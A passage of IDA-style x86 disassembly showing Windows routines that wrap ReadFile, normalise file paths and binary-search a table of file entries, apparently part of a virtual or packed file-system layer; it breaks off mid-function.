var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
; FUNCTION CHUNK AT 0050145D SIZE 00000013 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E3C8
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 3Ch
push ebx
push esi
push edi
cmp [ebp+arg_14], 0
jnz short loc_5011A8
lea eax, [ebp+var_1C]
mov [ebp+arg_14], eax
loc_5011A8: ; CODE XREF: sub_501177+29j
mov eax, ds:dword_5118E4
mov [ebp+var_3C], eax
cmp [ebp+var_3C], 0
jz short loc_5011C9
mov eax, [ebp+var_3C]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov [ebp+var_40], 1
jmp short loc_5011CD
; ---------------------------------------------------------------------------
loc_5011C9: ; CODE XREF: sub_501177+3Dj
and [ebp+var_40], 0
loc_5011CD: ; CODE XREF: sub_501177+50j
movzx eax, [ebp+var_40]
test eax, eax
jz loc_50145D
and [ebp+var_4], 0
push [ebp+arg_0]
mov ecx, ds:dword_5118E4
call sub_50B871
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz loc_501436
cmp [ebp+arg_10], 0
jz short loc_501207
mov eax, [ebp+arg_10]
mov dword ptr [eax], 3E5h
loc_501207: ; CODE XREF: sub_501177+85j
mov eax, [ebp+var_20]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_30], eax
mov eax, [ebp+var_20]
mov eax, [eax+0Ch]
and eax, 1
test eax, eax
jz short loc_501254
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_51177C ; ReadFile
mov ecx, [ebp+arg_14]
mov [ecx], eax
push 0FFFFFFFFh
mov [ebp+var_48], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_48]
jmp loc_50145F
; ---------------------------------------------------------------------------
loc_501254: ; CODE XREF: sub_501177+A5j
cmp [ebp+arg_10], 0
jz short loc_501281
mov eax, [ebp+var_20]
mov eax, [eax+0Ch]
and eax, 40000000h
test eax, eax
jz short loc_501281
mov eax, [ebp+arg_10]
mov ecx, [ebp+var_20]
mov ecx, [ecx+4]
mov [eax+0Ch], ecx
mov eax, [ebp+var_20]
mov ecx, [ebp+arg_10]
mov ecx, [ecx+8]
mov [eax+4], ecx
loc_501281: ; CODE XREF: sub_501177+E1j
; sub_501177+F0j
mov eax, [ebp+arg_8]
mov [ebp+var_28], eax
mov eax, [ebp+var_20]
mov eax, [eax+4]
add eax, [ebp+arg_8]
mov ecx, [ebp+var_30]
cmp eax, [ecx+8]
jbe short loc_5012A7
mov eax, [ebp+var_30]
mov ecx, [ebp+var_20]
mov eax, [eax+8]
sub eax, [ecx+4]
mov [ebp+var_28], eax
loc_5012A7: ; CODE XREF: sub_501177+11Fj
cmp [ebp+arg_C], 0
jnz short loc_5012B3
lea eax, [ebp+var_2C]
mov [ebp+arg_C], eax
loc_5012B3: ; CODE XREF: sub_501177+134j
mov eax, [ebp+arg_C]
and dword ptr [eax], 0
cmp [ebp+arg_8], 0
jbe loc_5013B8
cmp [ebp+var_28], 0
jbe loc_5013B8
mov eax, [ebp+var_30]
mov eax, [eax+0Ch]
and eax, 2
test eax, eax
jz short loc_5012FE
push [ebp+var_28]
push [ebp+arg_4]
push [ebp+var_20]
call sub_50100B
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz short loc_5012F9
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_28]
mov [eax], ecx
loc_5012F9: ; CODE XREF: sub_501177+178j
jmp loc_5013B6
; ---------------------------------------------------------------------------
loc_5012FE: ; CODE XREF: sub_501177+161j
and [ebp+var_34], 0
loc_501302: ; CODE XREF: sub_501177+23Aj
mov eax, [ebp+var_34]
cmp eax, [ebp+var_28]
jnb loc_5013B6
mov eax, [ebp+var_28]
sub eax, [ebp+var_34]
cmp eax, 10000h
jnb short loc_501326
mov eax, [ebp+var_28]
sub eax, [ebp+var_34]
mov [ebp+var_4C], eax
jmp short loc_50132D
; ---------------------------------------------------------------------------
loc_501326: ; CODE XREF: sub_501177+1A2j
mov [ebp+var_4C], 10000h
loc_50132D: ; CODE XREF: sub_501177+1ADj
push [ebp+arg_C]
push [ebp+var_4C]
mov eax, [ebp+var_30]
mov eax, [eax+4]
mov ecx, [ebp+var_20]
add eax, [ecx+4]
add eax, [ebp+var_34]
push eax
push [ebp+var_20]
call loc_500A10
mov [ebp+var_38], eax
cmp [ebp+var_38], 0
jz short loc_50137D
mov eax, [ebp+var_28]
sub eax, [ebp+var_34]
cmp eax, 10000h
jnb short loc_50136C
mov eax, [ebp+var_28]
sub eax, [ebp+var_34]
mov [ebp+var_50], eax
jmp short loc_501373
; ---------------------------------------------------------------------------
loc_50136C: ; CODE XREF: sub_501177+1E8j
mov [ebp+var_50], 10000h
loc_501373: ; CODE XREF: sub_501177+1F3j
mov eax, [ebp+arg_C]
mov eax, [eax]
cmp eax, [ebp+var_50]
jz short loc_501383
loc_50137D: ; CODE XREF: sub_501177+1DBj
and [ebp+var_24], 0
jmp short loc_5013B6
; ---------------------------------------------------------------------------
loc_501383: ; CODE XREF: sub_501177+204j
mov [ebp+var_24], 1
mov eax, [ebp+arg_C]
mov ecx, [eax]
mov esi, [ebp+var_38]
mov edi, [ebp+arg_4]
add edi, [ebp+var_34]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_34]
add ecx, [eax]
mov [ebp+var_34], ecx
jmp loc_501302
; ---------------------------------------------------------------------------
loc_5013B6: ; CODE XREF: sub_501177:loc_5012F9j
; sub_501177+191j ...
jmp short loc_5013C5
; ---------------------------------------------------------------------------
loc_5013B8: ; CODE XREF: sub_501177+146j
; sub_501177+150j
mov [ebp+var_24], 1
mov eax, [ebp+arg_C]
and dword ptr [eax], 0
loc_5013C5: ; CODE XREF: sub_501177:loc_5013B6j
cmp [ebp+var_24], 0
jz short loc_5013DC
mov eax, [ebp+var_20]
mov eax, [eax+4]
mov ecx, [ebp+arg_C]
add eax, [ecx]
mov ecx, [ebp+var_20]
mov [ecx+4], eax
loc_5013DC: ; CODE XREF: sub_501177+252j
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_24]
mov [eax], ecx
cmp [ebp+arg_10], 0
jz short loc_50141D
mov eax, [ebp+var_20]
mov eax, [eax+0Ch]
and eax, 40000000h
test eax, eax
jz short loc_50141D
mov eax, [ebp+var_20]
mov ecx, [ebp+arg_10]
mov ecx, [ecx+0Ch]
mov [eax+4], ecx
mov eax, [ebp+arg_10]
and dword ptr [eax+0Ch], 0
mov eax, [ebp+arg_10]
mov ecx, [ebp+arg_C]
mov ecx, [ecx]
mov [eax+4], ecx
mov eax, [ebp+arg_10]
and dword ptr [eax], 0
loc_50141D: ; CODE XREF: sub_501177+271j
; sub_501177+280j
push 0FFFFFFFFh
mov [ebp+var_54], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_54]
jmp short loc_50145F
; ---------------------------------------------------------------------------
loc_501436: ; CODE XREF: sub_501177+7Bj
or [ebp+var_4], 0FFFFFFFFh
call sub_501441
jmp short loc_50145D
sub_501177 endp
; =============== S U B R O U T I N E =======================================
sub_501441 proc near ; CODE XREF: sub_501177+2C3p
; DATA XREF: _6:0050E3D0o
mov eax, ds:dword_5118E4
mov [ebp-44h], eax
cmp dword ptr [ebp-44h], 0
jz short locret_50145C
mov eax, [ebp-44h]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
locret_50145C: ; CODE XREF: sub_501441+Cj
retn
sub_501441 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_501177
loc_50145D: ; CODE XREF: sub_501177+5Cj
; sub_501177+2C8j
xor eax, eax
loc_50145F: ; CODE XREF: sub_501177+D8j
; sub_501177+2BDj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 18h
; END OF FUNCTION CHUNK FOR sub_501177
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_501470 proc near ; CODE XREF: sub_4FF252+91p
; sub_50153F+B4p
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], ecx
mov [ebp+var_4], 1
mov [ebp+var_8], 2
jmp short loc_501490
; ---------------------------------------------------------------------------
loc_501489: ; CODE XREF: sub_501470+5Ej
; sub_501470+7Fj ...
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_501490: ; CODE XREF: sub_501470+17j
mov eax, [ebp+var_8]
cmp eax, [ebp+var_10]
jnb loc_501523
mov eax, ds:dword_511908
add eax, [ebp+var_8]
mov al, [eax+810h]
mov [ebp+var_C], al
movsx eax, [ebp+var_C]
mov ecx, ds:dword_511908
add ecx, [ebp+var_4]
movsx ecx, byte ptr [ecx+810h]
cmp eax, ecx
jnz short loc_5014D0
movsx eax, [ebp+var_C]
cmp eax, 5Ch
jnz short loc_5014D0
jmp short loc_501489
; ---------------------------------------------------------------------------
loc_5014D0: ; CODE XREF: sub_501470+53j
; sub_501470+5Cj
movsx eax, [ebp+var_C]
cmp eax, 2Fh
jnz short loc_5014F1
mov eax, ds:dword_511908
add eax, [ebp+var_8]
mov byte ptr [eax+810h], 5Ch
mov eax, [ebp+var_8]
dec eax
mov [ebp+var_8], eax
jmp short loc_501489
; ---------------------------------------------------------------------------
loc_5014F1: ; CODE XREF: sub_501470+67j
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
jz short loc_501517
mov eax, ds:dword_511908
add eax, [ebp+var_4]
mov ecx, ds:dword_511908
add ecx, [ebp+var_8]
mov cl, [ecx+810h]
mov [eax+811h], cl
loc_501517: ; CODE XREF: sub_501470+88j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
jmp loc_501489
; ---------------------------------------------------------------------------
loc_501523: ; CODE XREF: sub_501470+26j
mov eax, ds:dword_511908
add eax, [ebp+var_4]
and byte ptr [eax+811h], 0
mov eax, [ebp+var_4]
inc eax
mov ecx, [ebp+var_10]
sub ecx, eax
mov eax, ecx
leave
retn
sub_501470 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50153F proc near ; CODE XREF: sub_4FFD24+3Ap
; sub_500346+19p ...
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_56 = byte ptr -56h
var_55 = byte ptr -55h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
; FUNCTION CHUNK AT 005018BC SIZE 00000013 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E3D8
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 50h
push ebx
push esi
push edi
cmp [ebp+arg_4], 0
jz short loc_501570
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
loc_501570: ; CODE XREF: sub_50153F+29j
cmp ds:dword_511908, 0
jnz short loc_501580
xor eax, eax
jmp loc_5018BE
; ---------------------------------------------------------------------------
loc_501580: ; CODE XREF: sub_50153F+38j
and [ebp+var_1C], 0
push offset dword_5118C8
call ds:dword_5116C4 ; RtlEnterCriticalSection
and [ebp+var_4], 0
push 4
push offset a? ; "\\\\?\\"
push [ebp+arg_0]
call sub_4FC730
add esp, 0Ch
test eax, eax
jnz short loc_5015B2
mov eax, [ebp+arg_0]
add eax, 4
mov [ebp+arg_0], eax
loc_5015B2: ; CODE XREF: sub_50153F+68j
lea eax, [ebp+var_1C]
push eax
mov eax, ds:dword_511908
add eax, 810h
push eax
push 104h
push [ebp+arg_0]
call ds:dword_511708 ; GetFullPathNameA
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz loc_5018A5
push [ebp+var_20]
mov eax, ds:dword_511908
add eax, 810h
push eax
call ds:dword_5117C8 ; CharUpperBuffA
mov ecx, [ebp+var_20]
call sub_501470
mov ecx, [ebp+var_1C]
sub ecx, eax
mov [ebp+var_1C], ecx
mov eax, ds:dword_511908
mov eax, [eax+0C14h]
mov [ebp+var_24], eax
mov eax, ds:dword_511908
mov ecx, [eax+0C14h]
mov edi, ds:dword_511908
add edi, 10h
mov esi, ds:dword_511908
add esi, 810h
xor eax, eax
repe cmpsb
jz short loc_501679
mov eax, ds:dword_511908
mov ecx, [eax+0C18h]
mov edi, ds:dword_511908
add edi, 410h
mov esi, ds:dword_511908
add esi, 810h
xor eax, eax
repe cmpsb
jnz loc_50181A
mov eax, ds:dword_511908
mov eax, [eax+0C18h]
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz loc_50181A
loc_501679: ; CODE XREF: sub_50153F+F3j
mov eax, [ebp+var_24]
mov ecx, ds:dword_511908
lea eax, [ecx+eax+810h]
mov [ebp+var_28], eax
mov edi, [ebp+var_28]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov [ebp+var_34], ecx
mov [ebp+var_38], 1
mov eax, ds:dword_511908
mov eax, [eax+0Ch]
mov [ebp+var_2C], eax
and [ebp+var_30], 0
loc_5016B2: ; CODE XREF: sub_50153F:loc_501752j
mov eax, [ebp+var_38]
cmp eax, [ebp+var_2C]
ja loc_501757
mov eax, [ebp+var_38]
add eax, [ebp+var_2C]
shr eax, 1
mov [ebp+var_44], eax
mov eax, [ebp+var_44]
dec eax
shl eax, 4
mov ecx, ds:dword_511908
mov ecx, [ecx+8]
mov eax, [ecx+eax]
mov [ebp+var_3C], eax
push [ebp+var_34]
mov eax, [ebp+var_3C]
push dword ptr [eax]
push [ebp+var_28]
call sub_4FC730
add esp, 0Ch
mov [ebp+var_40], eax
cmp [ebp+var_40], 0
jnz short loc_50173C
mov eax, [ebp+var_3C]
mov eax, [eax]
mov ecx, [ebp+var_34]
movsx eax, byte ptr [eax+ecx]
test eax, eax
jz short loc_50171C
mov eax, [ebp+var_3C]
mov eax, [eax]
mov ecx, [ebp+var_34]
movsx eax, byte ptr [eax+ecx]
cmp eax, 5Ch
jnz short loc_501733
loc_50171C: ; CODE XREF: sub_50153F+1CAj
mov eax, [ebp+var_44]
dec eax
shl eax, 4
mov ecx, ds:dword_511908
mov ecx, [ecx+8]
add ecx, eax
mov [ebp+var_30], ecx
jmp short loc_501757
; ---------------------------------------------------------------------------
loc_501733: ; CODE XREF: sub_50153F+1DBj
mov eax, [ebp+var_44]
dec eax
mov [ebp+var_2C], eax
jmp short loc_501752
; ---------------------------------------------------------------------------
loc_50173C: ; CODE XREF: sub_50153F+1BAj
cmp [ebp+var_40], 0
jle short loc_50174B
mov eax, [ebp+var_44]
inc eax
mov [ebp+var_38], eax
jmp short loc_501752
; ---------------------------------------------------------------------------
loc_50174B: ; CODE XREF: sub_50153F+201j
mov eax, [ebp+var_44]
dec eax
mov [ebp+var_2C], eax
loc_501752: ; CODE XREF: sub_50153F+1FBj
; sub_50153F+20Aj
jmp loc_5016B2
; ---------------------------------------------------------------------------
loc_501757: ; CODE XREF: sub_50153F+179j
; sub_50153F+1F2j
cmp [ebp+var_30], 0
jz loc_501815
cmp [ebp+arg_4], 0
jz short loc_50176F
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_30]
mov [eax], ecx
loc_50176F: ; CODE XREF: sub_50153F+226j
mov eax, [ebp+var_30]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_50], eax
mov eax, [ebp+var_28]
mov [ebp+var_54], eax
loc_50177F: ; CODE XREF: sub_50153F+272j
mov eax, [ebp+var_54]
mov al, [eax]
mov [ebp+var_55], al
mov ecx, [ebp+var_50]
cmp al, [ecx]
jnz short loc_5017B9
cmp [ebp+var_55], 0
jz short loc_5017B3
mov eax, [ebp+var_54]
mov al, [eax+1]
mov [ebp+var_56], al
mov ecx, [ebp+var_50]
cmp al, [ecx+1]
jnz short loc_5017B9
add [ebp+var_54], 2
add [ebp+var_50], 2
cmp [ebp+var_56], 0
jnz short loc_50177F
loc_5017B3: ; CODE XREF: sub_50153F+253j
and [ebp+var_5C], 0
jmp short loc_5017C1
; ---------------------------------------------------------------------------
loc_5017B9: ; CODE XREF: sub_50153F+24Dj
; sub_50153F+264j
sbb eax, eax
sbb eax, 0FFFFFFFFh
mov [ebp+var_5C], eax
loc_5017C1: ; CODE XREF: sub_50153F+278j
mov eax, [ebp+var_5C]
mov [ebp+var_60], eax
cmp [ebp+var_60], 0
jnz short loc_5017D5
mov eax, [ebp+arg_8]
and byte ptr [eax], 0
jmp short loc_5017DB
; ---------------------------------------------------------------------------
loc_5017D5: ; CODE XREF: sub_50153F+28Cj
mov eax, [ebp+arg_8]
mov byte ptr [eax], 1
loc_5017DB: ; CODE XREF: sub_50153F+294j
cmp [ebp+arg_C], 0
jz short loc_5017FA
push 0
mov eax, ds:dword_511908
add eax, 810h
push eax
call sub_5092CA
pop ecx
pop ecx
mov ecx, [ebp+arg_C]
mov [ecx], eax
loc_5017FA: ; CODE XREF: sub_50153F+2A0j
push 0FFFFFFFFh
mov eax, [ebp+var_30]
mov [ebp+var_64], eax
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_64]
jmp loc_5018BE
; ---------------------------------------------------------------------------
loc_501815: ; CODE XREF: sub_50153F+21Cj
jmp loc_5018A5
; ---------------------------------------------------------------------------
loc_50181A: ; CODE XREF: sub_50153F+11Cj
; sub_50153F+134j
push [ebp+var_1C]
call sub_508A16
pop ecx
mov [ebp+var_48], eax
cmp [ebp+var_48], 0
jz short loc_5018A5
mov eax, ds:dword_511908
mov eax, [eax+8]
cmp eax, [ebp+var_48]
ja short loc_5018A5
mov eax, ds:dword_511908
mov eax, [eax+0Ch]
shl eax, 4
mov ecx, ds:dword_511908
mov ecx, [ecx+8]
add ecx, eax
cmp [ebp+var_48], ecx
jnb short loc_5018A5
mov eax, [ebp+var_48]
mov [ebp+var_4C], eax
mov eax, [ebp+arg_8]
and byte ptr [eax], 0
cmp [ebp+arg_C], 0
jz short loc_50187F
push 0
mov eax, ds:dword_511908
add eax, 810h
push eax
call sub_5092CA
pop ecx
pop ecx
mov ecx, [ebp+arg_C]
mov [ecx], eax
loc_50187F: ; CODE XREF: sub_50153F+325j
cmp [ebp+arg_4], 0
jz short loc_50188D
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4C]
mov [eax], ecx
loc_50188D: ; CODE XREF: sub_50153F+344j
push 0FFFFFFFFh
mov eax, [ebp+var_48]
mov [ebp+var_68], eax
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_68]
jmp short loc_5018BE
; ---------------------------------------------------------------------------
loc_5018A5: ; CODE XREF: sub_50153F+97j
; sub_50153F:loc_501815j ...
or [ebp+var_4], 0FFFFFFFFh
call sub_5018B0
jmp short loc_5018BC
sub_50153F endp
; =============== S U B R O U T I N E =======================================
sub_5018B0 proc near ; CODE XREF: sub_50153F+36Ap
; DATA XREF: _6:0050E3E0o
push offset dword_5118C8
call ds:dword_511754 ; RtlLeaveCriticalSection
retn
sub_5018B0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_50153F
loc_5018BC: ; CODE XREF: sub_50153F+36Fj
xor eax, eax
loc_5018BE: ; CODE XREF: sub_50153F+3Cj
; sub_50153F+2D1j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 10h
; END OF FUNCTION CHUNK FOR sub_50153F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5018CF proc near ; CODE XREF: sub_50AAEB+16p
; sub_50AB3D+97p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
push esi
push edi
and [ebp+var_C], 0
and [ebp+var_8], 0
push 0
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_50153F
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz loc_5019C6
movzx eax, [ebp+var_C]
test eax, eax
jnz loc_5019C6
cmp [ebp+var_8], 0
jz loc_5019C6
mov eax, [ebp+var_8]
mov edi, [eax+4]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov [ebp+var_10], ecx
mov eax, ds:dword_511908
mov eax, [eax+0C14h]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax+1]
mov [ebp+var_14], eax
mov eax, [ebp+var_14]
cmp eax, [ebp+arg_8]
jle short loc_50194F
mov eax, [ebp+var_14]
inc eax
mov ecx, [ebp+arg_C]
mov [ecx], eax
jmp short loc_5019C1
; ---------------------------------------------------------------------------
loc_50194F: ; CODE XREF: sub_5018CF+73j
mov eax, ds:dword_511908
mov ecx, [eax+0C14h]
mov esi, ds:dword_511908
add esi, 10h
mov edi, [ebp+arg_4]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebp+var_10]
mov eax, [ebp+var_8]
mov esi, [eax+4]
mov eax, ds:dword_511908
mov edi, [ebp+arg_4]
add edi, [eax+0C14h]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, ds:dword_511908
mov eax, [eax+0C14h]
add eax, [ebp+var_10]
mov ecx, [ebp+arg_4]
and byte ptr [ecx+eax], 0
mov eax, ds:dword_511908
mov eax, [eax+0C14h]
add eax, [ebp+var_10]
mov ecx, [ebp+arg_C]
mov [ecx], eax
loc_5019C1: ; CODE XREF: sub_5018CF+7Ej
push 1
pop eax
jmp short loc_5019CE
; ---------------------------------------------------------------------------
loc_5019C6: ; CODE XREF: sub_5018CF+29j
; sub_5018CF+35j ...
mov eax, [ebp+arg_C]
and dword ptr [eax], 0
xor eax, eax
loc_5019CE: ; CODE XREF: sub_5018CF+F5j
pop edi
pop esi
leave
retn
sub_5018CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5019D2 proc near ; CODE XREF: sub_50581E+3Dp
; sub_50A1C7+29p ...
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00501A9F SIZE 00000043 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E3E8
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_34], edx
mov [ebp+var_30], ecx
push [ebp+var_34]
lea eax, [ebp+var_20]
push eax
push 0
push [ebp+var_30]
call sub_50153F
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz loc_501A9F
cmp [ebp+arg_0], 0
jz short loc_501A9F
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_0]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push [ebp+var_30]
call sub_5092CA
pop ecx
pop ecx
mov edx, eax
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
mov edx, edi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov [ebp+var_24], edx
and [ebp+var_4], 0
push [ebp+var_34]
lea eax, [ebp+var_20]
push eax
push 0
push [ebp+var_24]
call sub_50153F
mov [ebp+var_1C], eax
or [ebp+var_4], 0FFFFFFFFh
call sub_501A8F
jmp short loc_501A9F
sub_5019D2 endp
; =============== S U B R O U T I N E =======================================
sub_501A8F proc near ; CODE XREF: sub_5019D2+B6p
; DATA XREF: _6:0050E3F0o
mov eax, [ebp-24h]
mov [ebp-28h], eax
push dword ptr [ebp-28h]
call sub_5083DD
pop ecx
retn
sub_501A8F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5019D2
loc_501A9F: ; CODE XREF: sub_5019D2+43j
; sub_5019D2+4Dj ...
cmp [ebp+var_1C], 0
jz short loc_501AB2
movzx eax, [ebp+var_20]
test eax, eax
jnz short loc_501AB2
mov eax, [ebp+var_1C]
jmp short loc_501AD1
; ---------------------------------------------------------------------------
loc_501AB2: ; CODE XREF: sub_5019D2+D1j
; sub_5019D2+D9j
cmp [ebp+var_34], 0
jz short loc_501ACF
cmp [ebp+var_1C], 0
jz short loc_501ACF
mov eax, [ebp+var_34]
mov eax, [eax]
mov [ebp+var_2C], eax
push [ebp+var_2C]
call sub_5083DD
pop ecx
loc_501ACF: ; CODE XREF: sub_5019D2+E4j
; sub_5019D2+EAj
xor eax, eax
loc_501AD1: ; CODE XREF: sub_5019D2+DEj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 4
; END OF FUNCTION CHUNK FOR sub_5019D2
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_501AE2 proc near ; CODE XREF: sub_50581E+24p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
mov [ebp+var_28], edx
mov [ebp+var_24], ecx
and [ebp+var_8], 0
cmp [ebp+var_24], 0
jz loc_501BBB
mov eax, [ebp+var_24]
movsx eax, byte ptr [eax]
cmp eax, 5Ch
jz loc_501BBB
mov eax, [ebp+var_24]
movsx eax, byte ptr [eax]
cmp eax, 2Fh
jz loc_501BBB
mov eax, [ebp+var_24]
movsx eax, byte ptr [eax+1]
cmp eax, 3Ah
jz loc_501BBB
mov edi, [ebp+var_24]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov [ebp+var_14], ecx
mov eax, ds:dword_511908
add eax, 10h
mov ecx, ds:dword_511908
mov ecx, [ecx+0C10h]
sub ecx, eax
mov [ebp+var_10], ecx
mov edi, [ebp+arg_0]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov eax, [ebp+var_14]
lea eax, [eax+ecx+104h]
push eax
call sub_50835A
pop ecx
mov [ebp+var_18], eax
mov eax, [ebp+var_18]
mov [ebp+var_8], eax
mov ecx, [ebp+var_10]
mov esi, ds:dword_511908
add esi, 10h
mov edi, [ebp+var_8]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebp+var_14]
inc ecx
mov esi, [ebp+var_24]
mov edi, [ebp+var_8]
add edi, [ebp+var_10]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebp+var_8]
mov [ebp+var_24], eax
loc_501BBB: ; CODE XREF: sub_501AE2+17j
; sub_501AE2+26j ...
push 0
lea eax, [ebp+var_C]
push eax
push 0
push [ebp+var_24]
call sub_50153F
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_501C41
cmp [ebp+arg_0], 0
jz short loc_501C41
cmp [ebp+var_8], 0
jnz short loc_501BFB
mov edi, [ebp+arg_0]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push [ebp+var_24]
call sub_5092CA
pop ecx
pop ecx
mov [ebp+var_8], eax
loc_501BFB: ; CODE XREF: sub_501AE2+FCj
mov edi, [ebp+arg_0]
mov edx, [ebp+var_8]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov eax, [ebp+var_8]
mov [ebp+var_24], eax
push 0
lea eax, [ebp+var_C]
push eax
push 0
push [ebp+var_8]
call sub_50153F
mov [ebp+var_4], eax
loc_501C41: ; CODE XREF: sub_501AE2+F0j
; sub_501AE2+F6j
cmp [ebp+var_4], 0
jz short loc_501C90
